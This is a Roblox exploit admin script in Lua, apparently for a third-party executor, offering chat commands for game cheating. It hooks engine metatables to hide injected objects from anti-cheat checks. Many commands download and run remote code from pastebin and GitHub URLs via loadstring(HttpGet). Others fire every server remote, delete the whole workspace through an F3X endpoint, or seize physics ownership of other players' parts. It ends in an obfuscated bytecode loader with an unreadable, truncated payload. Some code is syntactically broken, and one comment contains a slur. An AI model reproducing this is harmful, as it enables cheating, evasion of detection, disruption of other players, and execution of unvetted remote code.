1 | local opt = { |
2 | prefix = ';', |
3 | tupleSeparator = ',', |
4 | ui = { |
5 | |
6 | }, |
7 | keybinds = { |
8 | |
9 | }, |
10 | } |
11 | |
12 | |
13 | local Players = game:GetService("Players") |
14 | local UserInputService = game:GetService("UserInputService") |
15 | local TweenService = game:GetService("TweenService") |
16 | local RunService = game:GetService("RunService") |
17 | local StarterGui = game:GetService("StarterGui") |
18 | local SoundService = game:GetService("SoundService") |
19 | |
20 | local localPlayer = Players.LocalPlayer |
21 | local character = localPlayer.Character |
22 | local mouse = localPlayer:GetMouse() |
23 | local camera = workspace.CurrentCamera |
24 | local camtype = camera.CameraType |
25 | local Commands, Aliases = {}, {} |
26 | player, plr, lp = localPlayer, localPlayer, localPlayer, localPlayer |
27 | |
28 | localPlayer.CharacterAdded:Connect(function(c) |
29 | character = c |
30 | end) |
31 | |
32 | |
33 | cmd = {} |
34 | cmd.add = function(...) |
35 | local vars = {...} |
36 | local aliases, info, func = vars[1], vars[2], vars[3] |
37 | for i, cmdName in pairs(aliases) do |
38 | if i == 1 then |
39 | Commands[cmdName:lower()] = {func, info} |
40 | else |
41 | Aliases[cmdName:lower()] = {func, info} |
42 | end |
43 | end |
44 | end |
45 | |
46 | cmd.run = function(args) |
47 | local caller, arguments = args[1], args; table.remove(args, 1); |
48 | local success, msg = pcall(function() |
49 | if Commands[caller:lower()] then |
50 | Commands[caller:lower()][1](unpack(arguments)) |
51 | elseif Aliases[caller:lower()] then |
52 | Aliases[caller:lower()][1](unpack(arguments)) |
53 | end |
54 | end) |
55 | if not success then |
56 | lib.messageOut("Admin error", msg) |
57 | end |
58 | end |
59 | |
60 | |
61 | lib = {} |
62 | lib.wrap = function(f) |
63 | return coroutine.wrap(f)() |
64 | end |
65 | wrap = lib.wrap |
66 | |
67 | lib.messageOut = function(title, msg) |
68 | StarterGui:SetCore("SendNotification", |
69 | { |
70 | Title = title, |
71 | Text = msg |
72 | } |
73 | ) |
74 | end |
75 | |
76 | local wait = function(int) |
77 | if not int then int = 0 end |
78 | local t = tick() |
79 | repeat |
80 | RunService.Heartbeat:Wait(0) |
81 | until (tick() - t) >= int |
82 | return (tick() - t), t |
83 | end |
84 | spawn(function() |
85 | lib.messageOut("Admin successfully loaded", "Have fun!") |
86 | end) |
87 | |
88 | lib.lock = function(instance, par) |
89 | locks[instance] = true |
90 | instance.Parent = par or instance.Parent |
91 | instance.Name = "RightGrip" |
92 | end |
93 | lock = lib.lock |
94 | locks = {} |
95 | if hookfunction then |
96 | local pseudo = Instance.new("Motor6D") |
97 | _1 = hookfunction(pseudo.IsA, function(...) |
98 | local p, ret = ({...})[1], _1(...) |
99 | if checkcaller() then return ret end |
100 | if locks[p] then |
101 | return false |
102 | end |
103 | return ret |
104 | end) |
105 | _2 = hookfunction(pseudo.FindFirstChildWhichIsA, function(...) |
106 | local p = _2(...) |
107 | if checkcaller() then return p end |
108 | if locks[p] then |
109 | return nil |
110 | end |
111 | return p |
112 | end) |
113 | _3 = hookfunction(pseudo.FindFirstChildOfClass, function(...) |
114 | local p = _3(...) |
115 | if checkcaller() then return p end |
116 | if locks[p] then |
117 | return nil |
118 | end |
119 | return p |
120 | end) |
121 | _4 = hookfunction(pseudo.Destroy, function(...) |
122 | local args = {...} |
123 | if checkcaller() then return _4(...) end |
124 | if locks[args[1]] then return end |
125 | return |
126 | end) |
127 | |
128 | local mt = getrawmetatable(game) |
129 | local _ni = mt.__newindex |
130 | local _nc = mt.__namecall |
131 | local _i = mt.__index |
132 | setreadonly(mt, false) |
133 | |
134 | mt.__index = newcclosure(function(t, i) |
135 | if locks[t] and not checkcaller() then |
136 | return _i(pseudo, i) |
137 | end |
138 | return _i(t, i) |
139 | end) |
140 | mt.__newindex = newcclosure(function(t, i, v) |
141 | if locks[t] and not checkcaller() then |
142 | return _ni(pseudo, i, v) |
143 | end |
144 | return _ni(t, i, v) |
145 | end) |
146 | mt.__namecall = newcclosure(function(t, ...) |
147 | if locks[t] and not checkcaller() then |
148 | return _nc(pseudo, ...) |
149 | end |
150 | return _nc(t, ...) |
151 | end) |
152 | end |
153 | |
154 | lib.find = function(t, v) |
155 | for i, e in pairs(t) do |
156 | if i == v or e == v then |
157 | return i |
158 | end |
159 | end |
160 | return nil |
161 | end |
162 | |
163 | lib.parseText = function(text, watch) |
164 | local parsed = {} |
165 | if not text then return nil end |
166 | for arg in text:gmatch("[^" .. watch .. "]+") do |
167 | arg = arg:gsub("-", "%%-") |
168 | local pos = text:find(arg) |
169 | arg = arg:gsub("%%", "") |
170 | if pos then |
171 | local find = text:sub(pos - opt.prefix:len(), pos - 1) |
172 | if (find == opt.prefix and watch == opt.prefix) or watch ~= opt.prefix then |
173 | table.insert(parsed, arg) |
174 | end |
175 | else |
176 | table.insert(parsed, nil) |
177 | end |
178 | end |
179 | return parsed |
180 | end |
181 | |
182 | lib.parseCommand = function(text) |
183 | wrap(function() |
184 | local commands = lib.parseText(text, opt.prefix) |
185 | for _, parsed in pairs(commands) do |
186 | local args = {} |
187 | for arg in parsed:gmatch("[^ ]+") do |
188 | table.insert(args, arg) |
189 | end |
190 | cmd.run(args) |
191 | end |
192 | end) |
193 | end |
194 | |
195 | local connections = {} |
196 | |
197 | lib.connect = function(name, connection) |
198 | connections[name .. tostring(math.random(1000000, 9999999))] = connection |
199 | return connection |
200 | end |
201 | |
202 | lib.disconnect = function(name) |
203 | for title, connection in pairs(connections) do |
204 | if title:find(name) == 1 then |
205 | connection:Disconnect() |
206 | end |
207 | end |
208 | end |
209 | |
210 | m = math |
211 | rad = m.rad |
212 | clamp = m.clamp |
213 | sin = m.sin |
214 | tan = m.tan |
215 | cos = m.cos |
216 | |
217 | |
218 | argument = {} |
219 | argument.getPlayers = function(str) |
220 | local playerNames, players = lib.parseText(str, opt.tupleSeparator), {} |
221 | for _, arg in pairs(playerNames or {"me"}) do |
222 | arg = arg:lower() |
223 | local playerList = Players:GetPlayers() |
224 | if arg == "me" or arg == nil then |
225 | table.insert(players, localPlayer) |
226 | |
227 | elseif arg == "all" then |
228 | for _, plr in pairs(playerList) do |
229 | table.insert(players, plr) |
230 | end |
231 | |
232 | elseif arg == "others" then |
233 | for _, plr in pairs(playerList) do |
234 | if plr ~= localPlayer then |
235 | table.insert(players, plr) |
236 | end |
237 | end |
238 | |
239 | elseif arg == "random" then |
240 | table.insert(players, playerList[math.random(1, #playerList)]) |
241 | |
242 | elseif arg:find("%%") == 1 then |
243 | local teamName = arg:sub(2) |
244 | for _, plr in pairs(playerList) do |
245 | if tostring(plr.Team):lower():find(teamName) == 1 then |
246 | table.insert(players, plr) |
247 | end |
248 | end |
249 | |
250 | else |
251 | for _, plr in pairs(playerList) do |
252 | if plr.Name:lower():find(arg) == 1 then |
253 | table.insert(players, plr) |
254 | end |
255 | end |
256 | end |
257 | end |
258 | return players |
259 | end |
260 | |
261 | |
262 | |
263 | |
264 | cmd.add({"script", "ls", "s", "run"}, {"script <source>", "Run the code requested"}, function(source) |
265 | loadstring(source)() |
266 | end) |
267 | |
268 | cmd.add({"httpget", "hl", "get"}, {"httpget <url>", "Run the contents of a given URL"}, function(url) |
269 | loadstring(game:HttpGet(url, true))() |
270 | end) |
271 | |
272 | |
273 | cmd.add({"devconsole", "developerconsole", "console"}, {"devconsole", "Open the old developer console"}, function() |
274 | StarterGui:SetCore("DeveloperConsoleVisible", true) |
275 | end) |
276 | |
277 | cmd.add({"chatlogs", "clogs"}, {"chatlogs", "Open the chat logs"}, function() |
278 | gui.chatlogs() |
279 | end) |
280 | |
281 | cmd.add({"commands", "cmds"}, {"commands", "Open the command list"}, function() |
282 | gui.commands() |
283 | end) |
284 | |
285 | cmd.add({"print", "p"}, {"print <tuple>", "Print the given arguments"}, function(...) |
286 | print(...) |
287 | end) |
288 | |
289 | cmd.add({"warn", "w"}, {"warn <tuple>", "Warn the given arguments"}, function(...) |
290 | warn(...) |
291 | end) |
292 | |
293 | cmd.add({"rejoin", "rj"}, {"rejoin", "Rejoin the game"}, function() |
294 | game:GetService("TeleportService"):Teleport(game.PlaceId) |
295 | end) |
296 | |
297 | cmd.add({"place", "game", "join"}, {"place <placeId> [player]", "Join a place with the given PlaceId or a player's server"}, function(placeid, playerName) |
298 | game:GetService("TeleportService"):Teleport(placeid, playerName) |
299 | end) |
300 | |
301 | cmd.add({"disconnectevents", "disableevents"}, {"disconnectevents <instance> <event>", "Disable the given instance's connections to the event"}, function(objDir, event) |
302 | local obj = loadstring("return " .. objDir)() |
303 | local events = getconnections(obj[event]) |
304 | for _, connection in pairs(events) do |
305 | connection:Disable() |
306 | end |
307 | end) |
308 | |
309 | cmd.add({"grabtools", "gt"}, {"grabtools", "Grabs any dropped tools"}, function() |
310 | for i, v in pairs(workspace.Tools:GetChildren()) do |
311 | v.LidToggle:FireServer() |
312 | end |
313 | end) |
314 | |
315 | cmd.add({"fireclickdetectors", "fcd"}, {"fireclickdetectors", "Fires every click detector that's in workspace"}, function() |
316 | for i,v in pairs(game:GetDescendants()) do |
317 | if v:IsA("ClickDetector") then |
318 | fireclickdetector(v) |
319 | end |
320 | end |
321 | end) |
322 | |
323 | cmd.add({"firetouchinterests", "fti"}, {"firetouchinterests", "Fires every Touch Interest that's in workspace"}, function() |
324 | for _,v in pairs(workspace:GetDescendants()) do |
325 | if v:IsA("TouchTransmitter") then |
326 | firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart, v.Parent, 0) |
327 | wait() |
328 | firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart, v.Parent, 1) |
329 | end |
330 | end |
331 | end) |
332 | |
333 | cmd.add({"fireproximityprompts", "fpp"}, {"fireproximityprompts", "Fires every Touch Interest that's in workspace"}, function() |
334 | fireproximityprompt(workspace.Instance.ProximityPrompt, 1, true) |
335 | end) |
336 | |
337 | cmd.add({"fireremotes"}, {"fireremotes", "Fires every remote."}, function() |
338 | for i,v in pairs(game:GetDescendants()) do |
339 | if v:IsA("RemoteEvent") then |
340 | v:FireServer() |
341 | if v:IsA("BindableEvent") then |
342 | v:Fire() |
343 | if v:IsA("RemoteFunction") then |
344 | v:InvokeServer() |
345 | end |
346 | end |
347 | end |
348 | end |
349 | end) |
350 | |
351 | |
352 | cmd.add({"unanchoredfollow"}, {"unanchoredfollow", "Makes unanchored parts follow you"}, function() |
353 | |
354 | Script made by Cyclically | Credits to dhruvil123 for a few parts of the script |
355 | also credits to "Discordgotbanned" in discord for giving me motivation to fix this script |
356 | https://v3rmillion.net/member.php?action=profile&uid=785986 |
357 | Don't edit script unless you know what you're doing. If you wanna add this into a script |
358 | |
359 | the floating unanchored parts around u will stop floating when a player is near but it will come back when they get far away again, this is due roblox's gay ass networkownershit |
360 | ]] |
361 | local LocalPlayer = game:GetService("Players").LocalPlayer |
362 | local unanchoredparts = {} |
363 | local movers = {} |
364 | for index, part in pairs(workspace:GetDescendants()) do |
365 | if part:IsA("Part") and part.Anchored == false and part:IsDescendantOf(LocalPlayer.Character) == false then |
366 | table.insert(unanchoredparts, part) |
367 | part.Massless = true |
368 | part.CanCollide = false |
369 | if part:FindFirstChildOfClass("BodyPosition") ~= nil then |
370 | part:FindFirstChildOfClass("BodyPosition"):Destroy() |
371 | end |
372 | end |
373 | end |
374 | for index, part in pairs(unanchoredparts) do |
375 | local mover = Instance.new("BodyPosition", part) |
376 | table.insert(movers, mover) |
377 | mover.MaxForce = Vector3.new(math.huge, math.huge, math.huge) |
378 | end |
379 | repeat |
380 | for index, mover in pairs(movers) do |
381 | mover.Position = LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame:PointToWorldSpace(Vector3.new(0, 0, 5)) |
382 | end |
383 | wait(0.5) |
384 | until LocalPlayer.Character:FindFirstChild("Humanoid").Health <= 0 |
385 | for _, mover in pairs(movers) do |
386 | mover:Destroy() |
387 | end |
388 | end) |
389 | |
390 | cmd.add({"fov"}, {"fov <number>", "Makes your FOV to something custom you want (1-120 FOV)"}, function(...) |
391 | game.Workspace.CurrentCamera.FieldOfView = (...) |
392 | end) |
393 | |
394 | cmd.add({"networkown"}, {"networkown", "makes network ownership to unanchored parts yours"}, function(part) |
395 | spawn(function() |
396 | while true do |
397 | game.Players.LocalPlayer.MaximumSimulationRadius = math.pow(math.huge,math.huge)*math.huge |
398 | game.Players.LocalPlayer.SimulationRadius = math.pow(math.huge,math.huge)*math.huge |
399 | game:GetService("RunService").Stepped:wait() |
400 | end |
401 | end) |
402 | end) |
403 | |
404 | cmd.add({"homebrew"}, {"homebrew", "Executes homebrew admin"}, function() |
405 | _G.CustomUI = false |
406 | loadstring(game:HttpGet(('https://raw.githubusercontent.com/mgamingpro/HomebrewAdmin/master/Main'),true))() |
407 | end) |
408 | |
409 | cmd.add({"fatesadmin"}, {"fatesadmin", "Executes fates admin"}, function() |
410 | loadstring(game:HttpGet("https://raw.githubusercontent.com/fatesc/fates-admin/main/main.lua"))(); |
411 | end) |
412 | |
413 | cmd.add({"krystaldance"}, {"krystaldance", "Krystal Dance"}, function() |
414 | loadstring(game:HttpGet('https://gist.githubusercontent.com/1BlueCat/e51327540d1ba5ede244c459dbdb5a0e/raw/6320fe344ac51a311ef7c9f8d5c3924b1a7c3969/Krystal%2520Dance'))() |
415 | end) |
416 | |
417 | cmd.add({"toolui"}, {"toolui", "cool tool ui aka replication ui made by 0866"}, function() |
418 | loadstring(game:HttpGet("https://pastebin.com/raw/vr2YVyF6"))(); |
419 | end) |
420 | |
421 | cmd.add({"size"}, {"size", "makes you a big boy (r15 only)"}, function() |
422 | if Player.Character:FindFirstChild("UpperTorso") then |
423 | loadstring(game:HttpGet("https://pastebin.com/raw/mVpRNwa1"))(); |
424 | end |
425 | end) |
426 | |
427 | cmd.add({"ws"}, {"ws <number>", "Makes your WalkSpeed whatever you want"}, function(...) |
428 | game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = (...) |
429 | end) |
430 | |
431 | cmd.add({"jp"}, {"jp <number>", "Makes your JumpPower whatever you want"}, function(...) |
432 | game.Players.LocalPlayer.Character.Humanoid.JumpPower = (...) |
433 | end) |
434 | |
435 | cmd.add({"oofspam"}, {"oofspam", "Spams oof"}, function() |
436 | _G.enabled = true |
437 | _G.speed = 110 |
438 | |
439 | |
440 | local RunService = game:GetService("RunService"); |
441 | local Players = game:GetService("Players"); |
442 | local LocalPlayer = game:GetService("Players").LocalPlayer; |
443 | |
444 | local Character = LocalPlayer.Character or LocalPlayer.CharacterAdded:Wait(); |
445 | local Humanoid = Character:WaitForChild("Humanoid") or Character:FindFirstChildOfClass("Humanoid"); |
446 | local HRP = Humanoid.RootPart or Humanoid:FindFirstChild("HumanoidRootPart") |
447 | |
448 | |
449 | if not Humanoid or not _G.enabled then |
450 | if Humanoid and Humanoid.Health <= 0 then |
451 | Humanoid:Destroy() |
452 | end |
453 | return |
454 | end |
455 | |
456 | |
457 | Humanoid:SetStateEnabled(Enum.HumanoidStateType.Dead, false) |
458 | Humanoid.BreakJointsOnDeath = false |
459 | Humanoid.RequiresNeck = false |
460 | |
461 | local con; con = RunService.Stepped:Connect(function() |
462 | if not Humanoid then return con:Disconnect() end |
463 | Humanoid:ChangeState(Enum.HumanoidStateType.Running) |
464 | end) |
465 | |
466 | |
467 | LocalPlayer.Character = nil |
468 | LocalPlayer.Character = Character |
469 | task.wait(Players.RespawnTime + 0.1) |
470 | |
471 | |
472 | while task.wait(1/_G.speed) do |
473 | Humanoid:ChangeState(Enum.HumanoidStateType.Dead) |
474 | end |
475 | end) |
476 | |
477 | cmd.add({"harked"}, {"harked", "Harked Reborn"}, function() |
478 | loadstring(game:HttpGet("https://raw.githubusercontent.com/qipurblx/Scripts/main/harked"))(); |
479 | end) |
480 | |
481 | cmd.add({"dex"}, {"dex", "Lazy Dex"}, function() |
482 | loadstring(game:HttpGet("https://raw.githubusercontent.com/Babyhamsta/RBLX_Scripts/main/Universal/Lazy_Dex.lua"))() |
483 | end) |
484 | |
485 | cmd.add({"antifling"}, {"antifling", "makes you not get flinged by exploiters"}, function() |
486 | |
487 | |
488 | local Services = setmetatable({}, {__index = function(Self, Index) |
489 | local NewService = game.GetService(game, Index) |
490 | if NewService then |
491 | Self[Index] = NewService |
492 | end |
493 | return NewService |
494 | end}) |
495 | |
496 | |
497 | local LocalPlayer = Services.Players.LocalPlayer |
498 | |
499 | |
500 | local function PlayerAdded(Player) |
501 | local Detected = false |
502 | local Character; |
503 | local PrimaryPart; |
504 | |
505 | local function CharacterAdded(NewCharacter) |
506 | Character = NewCharacter |
507 | repeat |
508 | wait() |
509 | PrimaryPart = NewCharacter:FindFirstChild("HumanoidRootPart") |
510 | until PrimaryPart |
511 | Detected = false |
512 | end |
513 | |
514 | CharacterAdded(Player.Character or Player.CharacterAdded:Wait()) |
515 | Player.CharacterAdded:Connect(CharacterAdded) |
516 | Services.RunService.Heartbeat:Connect(function() |
517 | if (Character and Character:IsDescendantOf(workspace)) and (PrimaryPart and PrimaryPart:IsDescendantOf(Character)) then |
518 | if PrimaryPart.AssemblyAngularVelocity.Magnitude > 50 or PrimaryPart.AssemblyLinearVelocity.Magnitude > 100 then |
519 | if Detected == false then |
520 | game.StarterGui:SetCore("ChatMakeSystemMessage", { |
521 | Text = "Fling Exploit detected, Player: " .. tostring(Player); |
522 | Color = Color3.fromRGB(255, 200, 0); |
523 | }) |
524 | end |
525 | Detected = true |
526 | for i,v in ipairs(Character:GetDescendants()) do |
527 | if v:IsA("BasePart") then |
528 | v.CanCollide = false |
529 | v.AssemblyAngularVelocity = Vector3.new(0, 0, 0) |
530 | v.AssemblyLinearVelocity = Vector3.new(0, 0, 0) |
531 | v.CustomPhysicalProperties = PhysicalProperties.new(0, 0, 0) |
532 | end |
533 | end |
534 | PrimaryPart.CanCollide = false |
535 | PrimaryPart.AssemblyAngularVelocity = Vector3.new(0, 0, 0) |
536 | PrimaryPart.AssemblyLinearVelocity = Vector3.new(0, 0, 0) |
537 | PrimaryPart.CustomPhysicalProperties = PhysicalProperties.new(0, 0, 0) |
538 | end |
539 | end |
540 | end) |
541 | end |
542 | |
543 | |
544 | for i,v in ipairs(Services.Players:GetPlayers()) do |
545 | if v ~= LocalPlayer then |
546 | PlayerAdded(v) |
547 | end |
548 | end |
549 | Services.Players.PlayerAdded:Connect(PlayerAdded) |
550 | |
551 | local LastPosition = nil |
552 | Services.RunService.Heartbeat:Connect(function() |
553 | pcall(function() |
554 | local PrimaryPart = LocalPlayer.Character.PrimaryPart |
555 | if PrimaryPart.AssemblyLinearVelocity.Magnitude > 250 or PrimaryPart.AssemblyAngularVelocity.Magnitude > 250 then |
556 | PrimaryPart.AssemblyAngularVelocity = Vector3.new(0, 0, 0) |
557 | PrimaryPart.AssemblyLinearVelocity = Vector3.new(0, 0, 0) |
558 | PrimaryPart.CFrame = LastPosition |
559 | |
560 | game.StarterGui:SetCore("ChatMakeSystemMessage", { |
561 | Text = "You were flung. Neutralizing velocity."; |
562 | Color = Color3.fromRGB(255, 0, 0); |
563 | }) |
564 | elseif PrimaryPart.AssemblyLinearVelocity.Magnitude < 50 or PrimaryPart.AssemblyAngularVelocity.Magnitude > 50 then |
565 | LastPosition = PrimaryPart.CFrame |
566 | end |
567 | end) |
568 | end) |
569 | end) |
570 | |
571 | cmd.add({"table"}, {"table", "Turns you into a table"}, function() |
572 | loadstring(game:HttpGet(('https://pastebin.com/raw/UmdYd4bE'),true))() |
573 | local plr = game.Players.LocalPlayer |
574 | game:GetService("RunService").Stepped:Connect(function() |
575 | setsimulationradius(9e9,9e9) |
576 | plr.ReplicationFocus = workspace |
577 | settings().Physics.AllowSleep = false |
578 | end) |
579 | local runservice=game:service"RunService"; |
580 | local player=game:service"Players"["LocalPlayer"]; |
581 | local character=player["Character"]; |
582 | character["Head"]:FindFirstChildOfClass"SpecialMesh":Destroy(); |
583 | |
584 | character["Humanoid"].HipHeight=-2; |
585 | character["Left Leg"]:BreakJoints(); |
586 | character["Right Leg"]:BreakJoints(); |
587 | character["Left Arm"]:BreakJoints(); |
588 | character["Right Arm"]:BreakJoints(); |
589 | while runservice["Heartbeat"]:Wait() do |
590 | character["Left Leg"].CFrame=character["HumanoidRootPart"].CFrame*CFrame.new(-0.5,1.5,1.5) * CFrame.Angles(math.rad(90), 0, 0); |
591 | character["Right Leg"].CFrame=character["HumanoidRootPart"].CFrame*CFrame.new(0.5,1.5,1.5) * CFrame.Angles(math.rad(90), 0, 0); |
592 | character["Left Arm"].CFrame=character["HumanoidRootPart"].CFrame*CFrame.new(-0.5,0,2); |
593 | character["Right Arm"].CFrame=character["HumanoidRootPart"].CFrame*CFrame.new(0.5,0,2); |
594 | end end) |
595 | |
596 | cmd.add({"f3xdeleteall"}, {"f3xdeleteall", "Deletes everything if you have F3X"}, function() |
597 | for i,v in pairs(game.Workspace:GetChildren()) do |
598 | local args = { |
599 | [1] = "Remove", |
600 | [2] = { |
601 | [1] = v |
602 | } |
603 | } |
604 | |
605 | game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Building Tools").SyncAPI.ServerEndpoint:InvokeServer(unpack(args)) |
606 | end |
607 | end) |
608 | |
609 | cmd.add({"gravitygun"}, {"gravitygun", "Probably the best gravity gun script thats fe"}, function() |
610 | loadstring(game:HttpGet("https://raw.githubusercontent.com/qipurblx/Script/main/Gravity%20Gun"))() |
611 | end) |
612 | |
613 | cmd.add({"controlnpcs"}, {"controlnpcs", "Controls walking NPCS"}, function() |
614 | |
615 | |
616 | local mouse = game.Players.LocalPlayer:GetMouse() |
617 | local uis = game:GetService("UserInputService") |
618 | |
619 | |
620 | mouse.Button1Down:Connect(function() |
621 | |
622 | if mouse.Target and uis:IsKeyDown(Enum.KeyCode.LeftControl) then |
623 | local npc = mouse.target.Parent |
624 | local npcRootPart = npc.HumanoidRootPart |
625 | local PlayerCharacter = game:GetService("Players").LocalPlayer.Character |
626 | local PlayerRootPart = PlayerCharacter.HumanoidRootPart |
627 | local A0 = Instance.new("Attachment") |
628 | local AP = Instance.new("AlignPosition") |
629 | local AO = Instance.new("AlignOrientation") |
630 | local A1 = Instance.new("Attachment") |
631 | for _, v in pairs(npc:GetDescendants()) do |
632 | if v:IsA("BasePart") then |
633 | game:GetService("RunService").Stepped:Connect(function() |
634 | v.CanCollide = false |
635 | end) |
636 | end |
637 | end |
638 | PlayerRootPart:BreakJoints() |
639 | for _, v in pairs(PlayerCharacter:GetDescendants()) do |
640 | if v:IsA("BasePart") then |
641 | if v.Name == "HumanoidRootPart" or v.Name == "UpperTorso" or v.Name == "Head" then |
642 | else |
643 | v:Destroy() |
644 | end |
645 | end |
646 | end |
647 | PlayerRootPart.Position = PlayerRootPart.Position+Vector3.new(5, 0, 0) |
648 | PlayerCharacter.Head.Anchored = true |
649 | PlayerCharacter.UpperTorso.Anchored = true |
650 | A0.Parent = npcRootPart |
651 | AP.Parent = npcRootPart |
652 | AO.Parent = npcRootPart |
653 | AP.Responsiveness = 200 |
654 | AP.MaxForce = math.huge |
655 | AO.MaxTorque = math.huge |
656 | AO.Responsiveness = 200 |
657 | AP.Attachment0 = A0 |
658 | AP.Attachment1 = A1 |
659 | AO.Attachment1 = A1 |
660 | AO.Attachment0 = A0 |
661 | A1.Parent = PlayerRootPart |
662 | end |
663 | end) |
664 | end) |
665 | |
666 | cmd.add({"attachpart"}, {"attachpart", "Attaches any Unanchored Parts to your humanoid (CTRL + LEFTCLICK ON A PART FOR IT TO WORK!)"}, function() |
667 | |
668 | |
669 | local mouse = game.Players.LocalPlayer:GetMouse() |
670 | local uis = game:GetService("UserInputService") |
671 | |
672 | |
673 | mouse.Button1Down:Connect(function() |
674 | |
675 | if mouse.Target and uis:IsKeyDown(Enum.KeyCode.LeftControl) then |
676 | local npc = mouse.target |
677 | local npcparts = mouse.target.Parent |
678 | local PlayerCharacter = game:GetService("Players").LocalPlayer.Character |
679 | local PlayerRootPart = PlayerCharacter.HumanoidRootPart |
680 | local A0 = Instance.new("Attachment") |
681 | local AP = Instance.new("AlignPosition") |
682 | local AO = Instance.new("AlignOrientation") |
683 | local A1 = Instance.new("Attachment") |
684 | for _, v in pairs(npcparts:GetDescendants()) do |
685 | if v:IsA("BasePart") or v:IsA("Part") and v.Name ~= "HumanoidRootPart" then |
686 | do |
687 | v.CanCollide = false |
688 | |
689 | end |
690 | end |
691 | end |
692 | |
693 | local mouse = game.Players.LocalPlayer:GetMouse() |
694 | local uis = game:GetService("UserInputService") |
695 | |
696 | |
697 | mouse.Button1Down:Connect(function() |
698 | if mouse.Target and uis:IsKeyDown(Enum.KeyCode.LeftControl) then |
699 | local npc = mouse.target |
700 | local npcparts = mouse.target.Parent |
701 | local PlayerCharacter = game:GetService("Players").LocalPlayer.Character |
702 | local PlayerRootPart = PlayerCharacter.HumanoidRootPart |
703 | local A0 = Instance.new("Attachment") |
704 | local AP = Instance.new("AlignPosition") |
705 | local AO = Instance.new("AlignOrientation") |
706 | local A1 = Instance.new("Attachment") |
707 | for _, v in pairs(npcparts:GetDescendants()) do |
708 | if v:IsA("BasePart") or v:IsA("Part") and v.Name ~= "HumanoidRootPart" then |
709 | do |
710 | v.CanCollide = false |
711 | |
712 | wait(0) |
713 | local player = game.Players.LocalPlayer |
714 | local mouse = player:GetMouse() |
715 | bind = "e" |
716 | mouse.KeyDown:connect(function(key) |
717 | if key == bind then do |
718 | v.CanCollide = true |
719 | end |
720 | end |
721 | end) |
722 | end |
723 | end |
724 | end |
725 | for _, v in pairs(PlayerCharacter:GetDescendants()) do |
726 | if v:IsA("BasePart") then |
727 | if v.Name == "HumanoidRootPart" or v.Name == "UpperTorso" or v.Name == "Head" then |
728 | |
729 | end |
730 | end |
731 | end |
732 | PlayerRootPart.Position = PlayerRootPart.Position+Vector3.new(0, 0, 0) |
733 | PlayerCharacter.Head.Anchored = false |
734 | PlayerCharacter.Torso.Anchored = false |
735 | A0.Parent = npc |
736 | AP.Parent = npc |
737 | AO.Parent = npc |
738 | AP.Responsiveness = 200 |
739 | AP.MaxForce = math.huge |
740 | AO.MaxTorque = math.huge |
741 | AO.Responsiveness = 200 |
742 | AP.Attachment0 = A0 |
743 | AP.Attachment1 = A1 |
744 | AO.Attachment1 = A1 |
745 | AO.Attachment0 = A0 |
746 | A1.Parent = PlayerRootPart |
747 | end |
748 | end) |
749 | for _, v in pairs(PlayerCharacter:GetDescendants()) do |
750 | if v:IsA("BasePart") then |
751 | if v.Name == "HumanoidRootPart" or v.Name == "UpperTorso" or v.Name == "Head" then |
752 | |
753 | end |
754 | end |
755 | end |
756 | PlayerRootPart.Position = PlayerRootPart.Position+Vector3.new(0, 0, 0) |
757 | PlayerCharacter.Head.Anchored = false |
758 | PlayerCharacter.Torso.Anchored = false |
759 | A0.Parent = npc |
760 | AP.Parent = npc |
761 | AO.Parent = npc |
762 | AP.Responsiveness = 200 |
763 | AP.MaxForce = math.huge |
764 | AO.MaxTorque = math.huge |
765 | AO.Responsiveness = 200 |
766 | AP.Attachment0 = A0 |
767 | AP.Attachment1 = A1 |
768 | AO.Attachment1 = A1 |
769 | AO.Attachment0 = A0 |
770 | A1.Parent = PlayerRootPart |
771 | end |
772 | end) |
773 | end) |
774 | |
775 | cmd.add({"Netless", "Net"}, {"Netless", "Executes netless which makes scripts more stable"}, function() |
776 | |
777 | for i,v in next, game:GetService("Players").LocalPlayer.Character:GetDescendants() do |
778 | if v:IsA("BasePart") and v.Name ~="HumanoidRootPart" then |
779 | game:GetService("RunService").Heartbeat:connect(function() |
780 | v.Velocity = Vector3.new(-30,0,0) |
781 | end) |
782 | end |
783 | end |
784 | |
785 | game:GetService("StarterGui"):SetCore("SendNotification", { |
786 | Title = "Notification"; |
787 | Text = "Netless Ran"; |
788 | Icon = "rbxthumb://type=Asset&id=5107182114&w=150&h=150"}) |
789 | Duration = 16; |
790 | end) |
791 | |
792 | cmd.add({"FEBtools", "FEB"}, {"FEBtools", "Executes an FE Btools Script parts are by your hats"}, function() |
793 | local v0=tonumber;local v1=string.byte;local v2=string.char;local v3=string.sub;local v4=string.gsub;local v5=string.rep;local v6=table.concat;local v7=table.insert;local v8=getfenv or function()return _ENV;end;local v9=setmetatable;local v10=pcall;local v11=select;local v12=unpack or table.unpack;local v13=tonumber;local function v14(v15,v16)local v17=1;local v18;v15=v4(v3(v15,5),"..",function(v29)if (v1(v29,2)==79) then v18=v0(v3(v29,1,1));return "";else local v70=v2(v0(v29,16));if v18 then local v82=v5(v70,v18);v18=nil;return v82;else return v70;end end end);local function v19(v30,v31,v32)if v32 then local v71=(v30/(2^(v31-1)))%(2^(((v32-1) -(v31-1)) + 1));return v71-(v71%1);else local v72=2^(v31-1);return (((v30%(v72 + v72))>=v72) and 1) or 0;end end local function v20()local v37=v1(v15,v17,v17);v17=v17 + 1;return v37;end local function v21()local v38,v39=v1(v15,v17,v17 + 2);v17=v17 + 2;return (v39 * 256) + v38;end local function v22()local v40,v41,v42,v43=v1(v15,v17,v17 + 3);v17=v17 + 4;return (v43 * 16777216) + (v42 * 65536) + (v41 * 256) + v40;end local function v23()local v44=v22();local v45=v22();return (( -2 * v19(v45,32)) + 1) * (2^(v19(v45,21,31) -1023)) * ((((v19(v45,1,20) * (2^32)) + v44)/(2^52)) + 1);end local function v24(v33)local v46;if not v33 then v33=v22();if (v33==0) then return "";end end v46=v3(v15,v17,(v17 + v33) -1);v17=v17 + v33;local v47={};for v58=1, #v46 do v47[v58]=v2(v1(v3(v46,v58,v58)));end return v6(v47);end local v25=v22;local function v26(...)return {...},v11("#",...);end local function v27()local v48={};local v49={};local v50={};local v51={v48,v49,nil,v50};local v52=v22();local v53={};for v60=1,v52 do local v61=v20();local v62;if (v61==1) then v62=v20()~=0;elseif (v61==2) then v62=v23();elseif (v61==3) then v62=v24();end 